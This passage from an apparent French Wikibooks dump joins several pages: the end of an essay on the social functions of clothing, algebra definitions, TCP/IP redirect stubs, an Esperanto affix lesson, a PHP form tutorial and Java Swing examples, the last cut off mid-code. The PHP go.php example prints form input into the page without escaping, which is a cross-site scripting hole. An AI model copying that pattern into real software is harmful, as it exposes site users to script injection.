notre corps de la température extérieure. Le principe de l'isolation par matelas d'air est valable pour tous. Nous savons qu'un chandail de grosse laine tricotée à larges mailles est plus efficace qu'un tricot plus serré. Contre le froid, les vêtements sont variés : capes, pèlerines, houppelandes, manteaux de laine ou de fourrure, canadiennes, anoraks, parkas, doudounes. Une écharpe ou un cache-nez protège la partie sensible du cou. Les gants ou les moufles protègent les mains. Les mitaines laissaient le bout des doigts découverts pour permettre des gestes précis. '''Se protéger de la pluie.''' Contre la pluie et les embruns, les marins pêcheurs furent les premiers à utiliser des vêtements de toile huilée ou des cirés sur lesquels l'eau ruisselle. On peut utiliser aussi des gabardines de tissu très serré ou feutré qui empêchent l'eau de pénétrer. Il existe maintenant des imperméables plus légers en plastique. Le parapluie sert aussi d'abri pliant contre la pluie. '''Se protéger du soleil''' Contre le soleil, un chapeau léger à large bord ou une casquette suffit généralement sous nos climats. Autrefois, les élégantes se protégeaient sous une ombrelle. Les Européens qui se rendaient dans les pays tropicaux et méprisaient les coiffures indigènes en paille, introduisirent le casque "colonial" doublé d'une couche de liège isolant. Les yeux sont protégés par des lunettes de soleil à verres filtrants. == '''S'habiller pour cacher sa nudité''' == '''Nos plus lointains ancêtres vivaient nus''' Actuellement encore, certains peuples des pays chauds, en Amazonie, en Afrique ou en Australie, trouvent normal de vivre sans vêtements tant que des gens venus de l'extérieur ne les ont pas persuadés qu'ils doivent s'habiller. '''S'habiller ne signifie pas forcément chercher à cacher son corps''' En Egypte ancienne, les tissus étaient très fins et souvent presque transparents. Les vêtements moulaient étroitement le corps, notamment celui des femmes. Ils protégeaient plus qu'ils ne cachaient. '''Le vêtement côtoyait parfois la nudité''' En Grèce antique, le vêtement était d'usage courant dans la vie sociale. Mais sur les stades et les palestres (espaces d'entraînement fermés), le sport se pratiquait toujours entièrement nu. Le mot "gymnastique" est d'ailleurs tiré du mot grec "gymnos": nu. Pour les travaux pénibles, généralement accomplis par des esclaves, il était fréquent de retirer les vêtements pour être libre de ses mouvements. '''La nudité comme idéal de beauté''' Le corps humain est très souvent représenté nu par les artistes grecs. C'est en hommage à la beauté du corps que les artistes représentaient généralement les dieux et les héros mythologiques nus plutôt qu'habillés. Cette tradition de rendre hommage au corps humain nu s'est largement perpétuée chez les artistes de tous les temps, notamment en sculpture. '''La nudité associée à la culpabilité''' D'après la Bible, le premier couple humain vivait nu au Paradis terrestre. Ayant bravé l'interdiction du Créateur en mangeant le fruit de l'arbre défendu, Adam et Ève prirent conscience qu'ils étaient nus et la honte leur fit cacher désormais leur corps. Telle serait, d'après ce texte, l'origine du vêtement. Dans cette tradition, les religions monothéistes du livre sacré (judaïsme, christianisme, islam) tendent à considérer la nudité comme liée à la faute morale, au péché. '''Le code variable de la pudeur''' Dans la plupart des sociétés, la règle est de cacher au moins les parties sexuelles (et les seins pour les femmes), mais le code de la pudeur est très variable selon les époques et les lieux. Au Moyen Age, époque pourtant très religieuse, la nudité était courante au lit et pour la baignade, aussi bien en plein air que dans les bains publics. Jusqu'au début du XXe siècle, une femme de la haute société pouvait largement découvrir sa poitrine, notamment dans les tenues de soirée, mais il aurait été très indécent pour elle de montrer ses mollets et même ses chevilles. '''Les règles sont plus rigoureuses pour les musulmans''' Dans les pays musulmans, La religion interdit aux femmes de sortir de chez elles sans se couvrir les cheveux. Et même pour les hommes, il est interdit de sortir sans cacher une partie de son corps et plus prècisement une partie du ventre jusqu'au genoux. '''La récente émancipation des tenues féminines''' A la fin du XIXe siècle, les femmes, désireuses de se baigner en mer, devaient revêtir des tenues parfois grotesques destinées à masquer la forme de leur corps. Pour rouler à bicyclette, elles durent adopter la jupe-culotte, ce qui était encore jugé indécent par la majorité des gens. Après la guerre de 1914-18, les premières femmes qui décidèrent de porter des robes plus courtes et les cheveux coupés provoquèrent le scandale. == '''Le besoin d'ajouter une parure à son corps''' == '''Aucun peuple ne vit sans parure''' Même les peuples vivant sans vêtements aiment modifier l'apparence de leur corps avec des peintures ou des parures, notamment les jours de fête. Il s'agit parfois de peintures corporelles réalisées avec des terres de couleur ou de la sève de certaines plantes. Chez les peuples nus, elles peuvent décorer la totalité du corps. '''Des peintures corporelles partielles''' Chez les peuples habillés, la peinture corporelle est fréquente (notamment chez les femmes), mais elle se limite aux parties visibles : mains, front, joues, yeux, lèvres. '''Beaucoup de parures ont une signification dépassant l'envie de décorer''' Les parures de certains peuples, parfois très belles, ne sont pas choisies uniquement pour faire joli. Ceux qui les utilisent leur accordent souvent un rôle magique ou religieux, protégeant ceux qui les portent. Elles servent aussi à différencier les familles, les villages, à distinguer les chefs, les sorciers. Parfois à différencier la femme mariée de la jeune fille. '''Pour rendre plus séduisantes les parties visibles du corps''' Le maquillage est l'exemple le plus répandu de la parure corporelle. Utilisé dans un but de séduction, il suit des codes très variables selon l'époque et le lieu. Il concerne surtout le visage, mais s'étend aussi aux ongles. '''La chevelure est un élément important de parure''' La chevelure joue un rôle très important selon la façon dont elle est taillée, tressée, colorée, accompagnée d'éléments supplémentaires (fleurs, plumes, perles, peignes, filet), voire remplacée par une perruque quand elle est jugée insuffisante. La barbe, la moustache, les favoris des hommes sont rarement laissés à l'état naturel. La façon dont on les taille, les rase ou les laisse pousser librement, relève souvent moins d'un choix personnel que de la volonté de respecter les habitudes de son milieu. Il est fréquent d'ajouter à la chevelure un bandeau, un chapeau, un foulard. '''Des accessoires de parure''' Certaines parties du corps sont fréquemment complétées de parures, même en l'absence de vêtements : la taille (ceintures), le cou (colliers), les poignets et les chevilles (bracelets), les doigts (bagues), les lobes d'oreilles (boucles et pendentifs). Le nez, les joues ou les lèvres sont parfois percés pour y ajouter un élément de parure. '''Des modifications définitives du corps''' Certaines parures corporelles se veulent définitives, tels les tatouages ou les scarifications (cicatrices sur les joues ou le front). '''On va parfois plus loin dans la transformation du corps''' Certains peuples agrandissent progressivement des ouvertures pratiquées afin d'y introduire des objets de plus en plus gros (oreilles ou lèvres à plateau). Il s'agit parfois de modifier la forme des dents en les limant, d'allonger progressivement le cou par des colliers de plus en plus nombreux, de déformer le crâne en le bandant dès la petite enfance. Cela peut aboutir à de véritables mutilations. Autrefois en Chine, on déformait les pieds de certaines petites filles (ce qui les rendait infirmes), uniquement pour mieux plaire à leur futur mari. '''Le besoin de parure reste actuel''' Certaines traditions de parures persistent à l'époque moderne, mais elles ont souvent perdu leurs significations d'origine. Le tatouage, le piercing se pratiquent parfois par opposition aux codes habituels ou par soumission à de nouvelles modes. == '''S'habiller pour ressembler à ceux de son groupe''' == '''Le vêtement est souvent moins important que la situation dans laquelle on le porte''' Les autres pourraient juger ridicule ou impoli que l'on ne soit pas habillé comme le demande la circonstance. Sur certaines invitations, la tenue souhaitée est précisée afin d'éviter les erreurs (par exemple, "tenue de ville" ou "tenue de soirée exigée"). Même sans précision, chacun sait que sa tenue vestimentaire sera regardée par les autres d'après la coutume de la situation. On ne s'habille pas de la même façon pour assister à une partie de chasse, à un match ou à un mariage. '''Les classes sociales n'ont pas toutes les mêmes codes''' Dans les milieux modestes, il reste souvent important de "s'endimancher" pour une sortie. En revanche, les gens que leur métier oblige à s'habiller élégamment toute la semaine sur leur lieu de travail, profitent volontiers des jours de repos pour adopter, même au dehors, une tenue plus négligée. '''La rupture volontaire du code de son milieu peut devenir un nouveau code''' Certains, notamment parmi les jeunes, refusent de se plier aux habitudes de leur milieu et adoptent volontairement des coiffures ou des vêtements différents, parfois provoquants. Mais on s'aperçoit souvent que ce refus des règles crée de nouvelles règles. Pour faire partie de la bande, il est recommandé, sinon obligatoire, d'adopter les mêmes choix (cheveux longs ou rasés, vêtements tailladés ou cloutés, etc.). C'est donc la preuve que, pour tous, vêtements et parures sont un signe d'appartenance au groupe. '''Des vêtements différents pour les hommes et les femmes''' Dans toutes les sociétés, l'habitude exige généralement que les hommes s'habillent différemment des femmes. Même lorsqu'il n'existait pour tous que des tuniques ou des robes, celles-ci n'avaient pas la même forme et la même longueur pour les deux sexes. Au milieu du XIXe siècle, alors que tous les hommes portaient le pantalon, c'était une provocation pour une femme, comme George Sand, d'en mettre un. Un compromis fut trouvé ensuite, pour les femmes élégantes, avec la veste de tailleur qui ressemblait à un veston d'homme, à la condition de la porter sur une jupe. La différence dans l'habillement a tendance à disparaître de plus en plus de nos jours. Il n'est plus choquant qu'une femme porte un pantalon et un blouson. Néanmoins, seuls les Ecossais échappent au ridicule en portant un kilt en forme de jupe. '''Enfants et adultes''' Pendant très longtemps, à part les jeunes enfants qui portaient tous une robe, les jeunes s'habillaient ensuite comme les adultes de leur milieu. Seule la taille différait. C'est à la fin du XIXe siècle qu'on admit que les jeunes avaient besoin de vêtements leur permettant de donner libre cours à leurs gestes et qu'on habilla les garçons de culottes courtes et les fillettes de robes ne descendant pas jusqu'aux chevilles. Il exista désormais une mode pour enfants. Curieusement, ce furent les adultes qui eurent tendance à raccourcir leurs vêtements, peut-être pour se rajeunir. '''Le costume de sa région''' Autrefois, les habitants d'un pays ou d'une région portaient des vêtements adaptés à leur façon de vivre, à leurs traditions et aux matières qu'ils pouvaient se procurer. Il existait une grande variété de costumes locaux. C'est au siècle dernier que les paysannes de nos diverses provinces voulurent se différencier par des coiffes différentes dans chaque région et parfois chaque village. N'oublions pas que ces costumes souvent très beaux servaient uniquement dans les fêtes et non dans la vie de tous les jours où le vêtement était beaucoup plus simple. Actuellement, sauf dans les manifestations folkloriques, ces costumes tendent à disparaître. '''Le costume de son pa'''ys Il existe des survivances des différences vestimentaires d'autrefois, mais il faut dire que c'est surtout au niveau des clichés et des préjugés. Il est plus facile de schématiser l'Allemand en culotte de cuir et chapeau à plume, l'Anglais avec chapeau melon et parapluie, voire le Chinois avec natte et chapeau conique. Ces clichés ont peu de rapport avec la réalité quotidienne, mais ils ont la vie dure et sont parfois l'indice d'un certain racisme. En vérité, du fait de la standardisation du vêtement, on peut rarement reconnaître l'origine d'un touriste uniquement au costume qu'il porte. '''Parfois une affirmation d'appartenance à son groupe d'origine''' Certains choix vestimentaires sont au contraire une manifestation d'appartenance à une collectivité. Dans leur pays, beaucoup d'Africains ont adopté le jean et le tee-shirt, mais, immigrés en Europe, certains choisissent parfois de revêtir leur costume traditionnel comme preuve d'attachement à leur culture. '''Le costume de son métier''' Depuis l'époque des corporations, les métiers traditionnels se différenciaient souvent par le costume, surtout parce que celui-ci était adapté à leur profession. De nos jours, quelques-unes de ces coutumes vestimentaires n'ont pas disparu : un boucher ne s'habille pas comme un pâtissier; la coiffe du boulanger est différente de la toque du chef cuisinier. Il faut observer que certaines professions ont conservé une tenue très ancienne, par exemple, toutes celles qui concernent la justice, les ambassades et même, dans les pays traditionnalistes, l'université. L'académie française reste le symbole de ces traditions vestimentaires. '''Les costumes sportifs''' Chez les sportifs, la tenue tient compte de l'exercice corporel nécessaire dans chaque sport. Un sauteur en hauteur ne s'habille pas comme un footballeur. Dans les sports collectifs, il est indispensable à chaque joueur de voir de loin qui fait partie de son équipe ou de l'équipe adverse. D'où les maillots de couleur différente. '''Le costume du chef''' Dans toutes les sociétés, le chef porte un vêtement qui le différencie des autres. Cela peut se limiter à un manteau, à une coiffure (par exemple, la couronne), à un bâton symbolique. De plus en plus, cette différence ne se montre que dans des cérémonies particulières. De nos jours, on remarque le chef plutôt à l'entourage qui l'accompagne qu'au vêtement qu'il porte. '''Le costume religieux''' Dans presque toutes les religions, le prêtre se distingue par sa tenue vestimentaire. Le prêtre de l'ancienne Egypte portait une peau de léopard. C'est dans la religion catholique que la tenue était la plus réglementée. Chaque congrégation de moines ou de religieuses avait une tenue particulière. Cette tradition reste en vigueur dans la hiérarchie religieuse: un simple prêtre s'habille en noir, un évêque en violet, un cardinal en rouge et le pape en blanc. '''L'uniforme militaire''' Les uniformes militaires ont été codifiés par Turenne, ministre de Louis XIV. Depuis, différents types d'uniformes servent à distinguer non seulement l'armée de terre, la marine et l'aviation, mais dans chaque arme les fonctions militaires (fantassins, artilleurs, blindés, etc.). Les chefs se distinguent par des galons ou des étoiles portés sur leur uniforme ou leur képi. '''De nombreux uniformes civils''' Au XIXe siècle, de très nombreux métiers furent créés qui, tous, devaient se différencier par un uniforme particulier. Dans les chemins de fer, existaient des uniformes différents distinguant le chef de gare de l'employé, du contrôleur, du lampiste, du porteur, etc. Le prestige de l'uniforme s'emparait des établissements scolaires et universitaires qui imposaient une tenue identique à tous les élèves. '''La diminution actuelle du nombre d'uniformes''' Deux guerres mondiales ont probablement modéré l'attirance de l'uniforme. En dehors des militaires, les métiers conservant un uniforme sont ceux qui doivent signaler clairement leur fonction (agent de police, douanier, contrôleur, pompier, hôtesse, etc.). Seuls certains établissements sélectifs, comme l'école Polytechnique, maintiennent l'uniforme en certaines occasions. Néanmoins, quand on voit un grand nombre de cadres d'entreprise, on peut se demander si le costume-cravate ne constitue pas un nouvel uniforme. '''Des vêtements qui protègent du danger''' Chez les guerriers, la cuirasse du légionnaire romain, la cotte de maille ou l'armure au Moyen Age, actuellement le gilet pare-balle sont d'abord des moyens de protection. Pour certains sports, le vêtement comporte une protection du corps (des jambes en hockey, du thorax et du visage en escrime). Dans certains cas, le vêtement professionnel constitue une protection appropriée, par exemple, contre le feu, l'eau, l'absence d'air, les irradiations. Parfois, cela se limite au casque de chantier et aux chaussures de sécurité. Dans d'autres cas, il faut une combinaison étanche et un masque. A l'extrême, un véritable scaphandre pour les spacionautes.. A l'inverse, ce n'est pas pour lui que le chirurgien s'habille spécialement, mais pour protéger le malade qu'il opère des microbes qu'il pourrait transporter malgré lui. '''Au Carnaval, on se déguise''' A toutes les époques, il était permis, certains jours de l'année, de se travestir avec des vêtements inhabituels, parfois pour se moquer de gens plus puissants ou plus riches. A cette occasion, chacun peut choisir le vêtement d'un autre pays, d'une autre époque, d'un autre métier, changer de sexe ou inventer selon son goût. Les personnages de la comédie italienne (Pierrot, Colombine, Arlequin) ou les héros du moment sont souvent utilisés. Parfois, un masque empêche de reconnaître celui qui est déguisé. Même quand il ne s'agit pas d'un carnaval officiel, une grande fête est souvent l'occasion de se travestir. == '''Pour en savoir plus sur le même thème''' == On peut consulter : '''Textiles''' ; '''Fils et tissus''' ; '''Costumes''' (leur évolution au cours des siècles) ; '''Mode sous Louis XIV''' Image:Td5bfig1.png 7315 34878 2006-02-26T17:57:48Z SergeMoutou 1178 Description générale de registre Description générale de registre Image:Td5bfig2.png 7316 34879 2006-02-26T17:59:15Z SergeMoutou 1178 Registre programmable 74194 (TTL) Registre programmable 74194 (TTL) Image:Td5bfig3.png 7317 34880 2006-02-26T18:00:37Z SergeMoutou 1178 Table de fonctionnement du 74194 Table de fonctionnement du 74194 Algèbre:Magma 7318 43169 2006-05-26T09:51:24Z Barbichette 1566 suppr lien Soit <math>E</math> un [[ensemble]]. Une [[loi]] sur <math>E</math> est une [[application]] définie sur le produit cartésien <math>E \times E</math>. Soit <math>(E,*)</math> un [[couple]] où <math>E</math> est un [[ensemble]] et où <math>*</math> est une loi ; on dit que l'ensemble <math>E</math> est muni de la loi <math>*</math> On dit que la loi <math>*</math> est [[interne]] si quelques soient <math>a</math> et <math>b</math> éléments de <math>E</math>, l'élément <math>a * b</math> est inclus dans <math>E</math>. Autrement dit, la loi est interne lorsque l'application qui définit la loi est à valeurs dans l'ensemble. Un magma est un ensemble muni d'une loi interne. Algèbre:Corps 7319 43171 2006-05-26T09:54:39Z Barbichette 1566 modif lien Un corps est un [[Algèbre:Anneau|anneau]] dans lequel tout élément non nul est [[inversible]] Reseaux TCP/IP : adressage IP v4 7320 34887 2006-02-26T20:04:25Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : adressage IP v4]] déplacé vers [[Réseaux TCP/IP : adressage IP v4]]: orthographe #REDIRECT [[Réseaux TCP/IP : adressage IP v4]] Reseaux TCP/IP 7322 34891 2006-02-26T20:05:56Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP]] déplacé vers [[Réseaux TCP/IP]]: ortho #REDIRECT [[Réseaux TCP/IP]] Reseaux TCP/IP : les serveurs DNS 7323 34893 2006-02-26T20:07:55Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : les serveurs DNS]] déplacé vers [[Réseaux TCP/IP : les serveurs DNS]]: ortho #REDIRECT [[Réseaux TCP/IP : les serveurs DNS]] Reseaux TCP/IP : le routage IP statique 7324 34895 2006-02-26T21:09:55Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : le routage IP statique]] déplacé vers [[Réseaux TCP/IP : le routage IP statique]]: ortho #REDIRECT [[Réseaux TCP/IP : le routage IP statique]] Reseaux TCP/IP/Sommaire 7325 34897 2006-02-26T21:10:43Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP/Sommaire]] déplacé vers [[Réseaux TCP/IP/Sommaire]]: ortho #REDIRECT [[Réseaux TCP/IP/Sommaire]] Reseaux TCP/IP/Liens Internes 7326 34899 2006-02-26T21:12:01Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP/Liens Internes]] déplacé vers [[Réseaux TCP/IP/Liens Internes]]: ortho #REDIRECT [[Réseaux TCP/IP/Liens Internes]] Reseaux TCP/IP : la pile TCP/IP 7327 34901 2006-02-26T21:12:45Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : la pile TCP/IP]] déplacé vers [[Réseaux TCP/IP : la pile TCP/IP]]: ortho #REDIRECT [[Réseaux TCP/IP : la pile TCP/IP]] Reseaux TCP/IP : DHCP 7328 34903 2006-02-26T21:13:15Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : DHCP]] déplacé vers [[Réseaux TCP/IP : DHCP]]: ortho #REDIRECT [[Réseaux TCP/IP : DHCP]] Reseaux TCP/IP : Routage dynamique 7329 34905 2006-02-26T21:14:13Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Routage dynamique]] déplacé vers [[Réseaux TCP/IP : Routage dynamique]]: ortho #REDIRECT [[Réseaux TCP/IP : Routage dynamique]] Reseaux TCP/IP : Les routeurs CISCO 7330 34907 2006-02-26T21:14:45Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Les routeurs CISCO]] déplacé vers [[Réseaux TCP/IP : Les routeurs CISCO]]: ortho #REDIRECT [[Réseaux TCP/IP : Les routeurs CISCO]] Reseaux TCP/IP : Administration sous Windows 7331 34909 2006-02-26T21:15:24Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Administration sous Windows]] déplacé vers [[Réseaux TCP/IP : Administration sous Windows]]: ortho #REDIRECT [[Réseaux TCP/IP : Administration sous Windows]] Reseaux TCP/IP : NAT 7332 34911 2006-02-26T21:15:55Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : NAT]] déplacé vers [[Réseaux TCP/IP : NAT]]: ortho #REDIRECT [[Réseaux TCP/IP : NAT]] Modèle:Reseaux TCP/IP 7333 34913 2006-02-26T21:16:33Z Jean-Jacques MILAN 114 [[Modèle:Reseaux TCP/IP]] déplacé vers [[Modèle:Réseaux TCP/IP]]: ortho #REDIRECT [[Modèle:Réseaux TCP/IP]] Reseaux TCP/IP : VPN 7334 34916 2006-02-26T21:18:41Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : VPN]] déplacé vers [[Réseaux TCP/IP : VPN]]: ortho #REDIRECT [[Réseaux TCP/IP : VPN]] Reseaux TCP/IP : Administration sous Linux 7335 34918 2006-02-26T21:19:15Z Jean-Jacques MILAN 114 [[Reseaux TCP/IP : Administration sous Linux]] déplacé vers [[Réseaux TCP/IP : Administration sous Linux]]: ortho #REDIRECT [[Réseaux TCP/IP : Administration sous Linux]] Espéranto : Onzième Leçon 7337 46007 2006-06-27T05:56:23Z 86.203.40.152 /* Affixes */ ==Affixes== En espéranto, on peut infiniment enrichir le vocabulaire à l'aide de 42 affixes divisés en deux catégories : Les '''préfixes''' se mettent au début du mot et les '''suffixes''' se mettent à la fin du mot.Il existe 10 préfixes et 32 suffixes. ==Préfixes== *'''bo-''' parenté par aliance '''bo'''fratino - belle-sœur *'''dis-''' dans plusieurs direction '''dis'''donado - distribution *'''ek-''' commencement '''ek'''pluvi - commancer à pleuvoir *'''eks-''' cessation '''eks'''neĝi - s'arrêter de neiger *'''fi-''' mauvais, mal, méchant (trait de caractère) '''fi'''hundo - mauvais chien *'''ge-''' réunion des deux sexes '''ge'''maloj - mâle et femelle *'''mal-''' antonyme *'''mis-''' erreur *'''pra-''' temps lointain *'''re-''' retour '''re'''veni - revenir ==Suffixes== *-'''aĉ'''- mauvaise qualité fisx'''aĉ'''o - mauvais poisson *-'''ad'''- action longue odise'''ad'''o - odyssée *-'''aĵ'''- chose concrète glaci''aĵ''o - glace commestible *-'''an'''- appartenance jud'''an'''o - un juif *-'''ar'''- groupe ŝaf'''ar'''o - troupeau de moutons *-'''ĉj'''- diminutif affectueux masculin on'''ĉj'''o - tonton *-'''ebl'''- possibilité port'''ebl'''a - portable *-'''ec'''- idée abstraite libert'''ec'''o - liberté *-'''eg'''- augmentatif malvarm'''eg'''a - glacial *-'''ej'''- lieu kaŝ'''ej'''o - cachette *-'''em'''- penchant fot'''em'''a - "photomaniaque" *-'''end'''- qui doit être vid'''end'''a - qui doit être vu *-'''er'''- fragment pluv'''er'''o - goutte de pluie *-'''estr'''- dirigeance imper'''estr'''o - empereur *-'''et'''- petitesse kat'''et'''o - petit chat *-'''id'''- descendance urs'''id'''o - ourson *-'''ig'''- rendre ainsi manĝ'''ig'''i - faire à manger *-'''iĝ'''- devenir fantom'''iĝ'''i - devenir un fantôme *-'''il'''- outil hak'''il'''o - hache *-'''in'''- sexe féminin ĉeval'''in'''o - jument *-'''ind'''- mérite fot'''ind'''i - mériter la photo *-'''ing'''- contenant partiel glavingo - fourreau de glaive *-'''ism'''- manière de penser islam'''ism'''o - l'islam *-'''ist'''- professionel pent'''ist'''o - peintre *-'''nj'''- diminutif affectueux féminin on'''nj'''o - tata, tatie, tantine *-'''obl'''- quantité ses'''obl'''o - sextuple *-'''on'''- fraction du'''on'''o - moitié *-'''op'''- par groupe kvar'''op'''o - quatuor *-'''uj'''- contenant total mon'''uj'''o - porte-monnaie *-'''ul'''- désignation Cindr'''ul'''ino - Cendrillon *-'''um'''- suffixe "joker", à sens indéterminé butik'''um'''i - lécher les vitrines ==Adverbes spéciaux== Comme l'indique la règle n° 7 de la grammaire espéranto, les adverbes dérivés ont la finale -'''e'''. Il existe cependant une liste d'adverbes spéciaux. *'''almenaŭ''' (au moins) *'''ankaŭ''' (aussi) *'''ankoraŭ''' (encore) *'''apenaŭ''' (à peine) *'''aŭ''' (ou, ou bien) *'''baldaŭ''' (bientôt) *'''do''' (donc) *'''for''' (loin) *'''hodiaŭ''' (aujord'hui) *'''hieraŭ''' (hier) *'''jam''' (déjà) *'''ĵus''' (juste, à l'instant) *'''kvankam''' (bien que) *'''kvazaŭ''' (quasiment, comme si) *'''malgraŭ''' (malgré) *'''morgaŭ''' (demain) *'''nun''' (maintenant) *'''nur''' (seulement) *'''nu''' (alors) *'''plej''' (superlatif) *'''pli''' (comparatif) *'''plu''' (fin) *'''preskaŭ''' (presque) *'''tamen''' (cependant, pourtant) *'''tre''' (très) *'''tro''' (trop) *'''tuj''' (tout de suite) [[Catégorie:Espéranto|11]] Programmation PHP/Exemples/Formulaire 7338 40587 2006-04-20T10:30:21Z Gromitt 1388 /* Les principaux concepts */ typos, style. {{Programmation PHP}} ==Interaction avec un formulaire== ===Les principaux concepts=== * L'interaction entre une application en php et un utilisateur peut s'effectuer par des liens hypertextes ou par l'envoi d'un formulaire. C'est ce cas que nous allons étudier ici. * le formulaire comportera : ** une balise form qui précise que la méthode utilisée pour envoyer le contenu du formulaire au programme en php est la méthode '''post'''. Elle précise également l'action du formulaire c'est à dire à quelle adresse envoyer le contenu du formulaire pour son traitement. Dans notre exemple, lorsqu'on cliquera sur le bouton d'envoi, le formulaire déclenchera l'exécution du programme go.php. ** 3 éléments graphiques : 2 champs de type texte nommés respectivement nom et prénom et un bouton sur lequel il est écrit '''envoyer le formulaire'''. ** le formulaire invite donc l'utilisateur à entrer un nom et un prénom et à cliquer sur le bouton "envoyer le formulaire". * le programme '''go.php''' ** Il doit récupérer les valeurs contenues dans le formulaire : pour récupérer la valeur du champ nom, il suffit d'écrire '''$_POST['nom']'''. De la même manière, pour récupérer la valeur du champs prénom, il suffit d'écrire '''$_POST['prenom']'''. ** lorsqu'on clique sur le bouton "envoyer le formulaire", une autre page s'affiche. Elle contient un message contenant "Bienvenue à" suivi du prénom et du nom tapés dans le formulaire. Le programme a bien récupéré la valeur des différents champs du formulaire. ===Le programme en php === '''Le fichier index.html : ''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Formulaire en PHP</title> </head> <body> <form action="go.php" method="post"> <p>Votre nom : <input type="text" name="nom" /></p> <p>Votre pr&eacute;nom : <input type="text" name="prenom" /></p> <p><input type="submit" value="envoyer le formulaire" /></p> </form> </body> </html> </pre> '''Le fichier go.php : ''' <pre> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Formulaire en PHP</title> </head> <body> <?php $nom = $_POST['nom']; $prenom = $_POST['prenom']; echo "<h1>Bienvenue &agrave; $prenom $nom</h1>"; ?> <p><a href="index.html">Retour au formulaire</a></p> </body> </html> </pre> ===Captures d'écran=== ==== Le formulaire initial==== [[Image:Formulaire-1.jpg]] ==== On remplit le formulaire==== [[Image:Formulaire-2.jpg]] ==== On clique sur "envoyer le formulaire"==== [[Image:Formulaire-3.jpg]] Programmation Java/swing/Hello 7339 41648 2006-05-05T15:08:39Z Qapoka 1473 /* Un premier exemple */ {{Programmation Java}} ==Interfaces graphiques avec swing== === Un premier exemple === Le premier programme de tout informaticien. '''Le fichier Hello.java''' <pre> import javax.swing.*; import java.awt.*; public class Hello extends JFrame { // Methode principale : demarrage du programme public static void main(String [] args) { Hello a=new Hello(); } // Constructeur Hello() { // On definit la taille de l'ecran setBounds(10,20,400,400); // Si on appuie sur la croix, le programme s'arrete setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); Container c; c=getContentPane(); // Choix du gestionnaire de disposition BorderLayout bl=new BorderLayout(); c.setLayout(bl); JPanel p=new JPanel(); p.setLayout(null); JLabel l=new JLabel("BONJOUR"); l.setBounds(100,50,100,30); p.add(l); c.add(p, BorderLayout.CENTER); setVisible(true); } } </pre> Programmation Java/swing/Somme 7340 35005 2006-02-27T12:32:36Z Merrheim 1032 {{Programmation Java}} ==Interfaces graphiques avec swing== === Calculer le somme de 2 entiers=== '''Le fichier Somme.java''' <pre> import javax.swing.*; import java.awt.*; import java.awt.event.*; import javax.swing.border.*; public class Somme extends JFrame implements ActionListener { private JLabel textX,textY,textS; private JTextField editX,editY,editS; private JButton buCompute; double x,y,s; public static void main(String [] args) { Somme a=new Somme(); } Somme() { x=0; y=0; setBounds(10,20,400,200); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); Container c; c=getContentPane(); BorderLayout bl=new BorderLayout(); c.setLayout(bl); JPanel p=new JPanel(); p.setLayout(null); textX= new JLabel("Valeur de X : "); textX.setBounds(10,20,100,20); p.add(textX); textY= new JLabel("Valeur de Y : "); textY.setBounds(10,50,100,20); p.add(textY); textS= new JLabel("X+Y vaut : "); textS.setBounds(10,80,100,20); p.add(textS); editX=new JTextField(20); editX.setBounds(120,20,100,20); p.add(editX); editY=new JTextField(20); editY.setBounds(120,50,100,20); p.add(editY); editS=new JTextField(20); editS.setBounds(120,80,100,20); editS.setEditable(false); p.add(editS); Border bord=BorderFactory.createRaisedBevelBorder(); buCompute=new JButton("CALCULER"); buCompute.setActionCommand("CALCULER"); buCompute.addActionListener(this); buCompute.setBorder(bord); buCompute.setBounds(240,50,100,20); p.add(buCompute); c.add(p, BorderLayout.CENTER); setVisible(true); } public void actionPerformed(ActionEvent e) { if(e.getActionCommand().equals("CALCULER")) { double vx,vy,d1; try{ vx=(new Double(editX.getText())).doubleValue(); }catch(RuntimeException ex) {vx=x;editX.setText(String.valueOf(x));} try{ vy=(new Double(editY.getText())).doubleValue(); }catch(RuntimeException ex) {vy=y;editY.setText(String.valueOf(y));} x=vx; y=vy; s=x+y; editS.setText(String.valueOf(s)); } } } </pre> Programmation Java/swing/Distance 7341 35011 2006-02-27T12:40:43Z Merrheim 1032 /* Interfaces graphiques avec swing */ {{Programmation Java}} ==Interfaces graphiques avec swing== === Calculer la distance entre 2 points=== '''Le fichier Distance.java''' <pre> import javax.swing.*; import java.awt.*; import java.awt.event.*; import javax.swing.border.*; public class Distance extends JFrame implements ActionListener { private JLabel textXA,textYA,textXB,textYB,textDistance; private JTextField editXA,editXB,editYA,editYB,editDistance; private JButton editA,editB; private Point A,B; public static void main(String [] args) { Distance app=new Distance(); } Distance() { setBounds(10,10,400,300); setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); Container c; c=getContentPane(); BorderLayout bl=new BorderLayout(); c.setLayout(bl); JPanel p=new JPanel(); p.setLayout(null); textXA= new JLabel("Abscisse de A : "); textXA.setBounds(10,20,100,20); p.add(textXA); textYA= new JLabel("ordonnée de A : "); textYA.setBounds(10,50,100,20); p.add(textYA); textXB= new JLabel("Abscisse de B : "); textXB.setBounds(10,90,100,20); p.add(textXB); textYB= new JLabel("Ordonnée de B : "); textYB.setBounds(10,120,100,20); p.add(textYB); textDistance= new JLabel("La distance AB vaut : "); textDistance.setBounds(10,170,150,20); p.add(textDistance); editXA=new JTextField(20); editXA.setBounds(120,20,100,20); editXA.setEditable(false); p.add(editXA); editYA=new JTextField(20); editYA.setBounds(120,50,100,20); editYA.setEditable(false); p.add(editYA); editXB=new JTextField(20); editXB.setBounds(120,90,100,20); 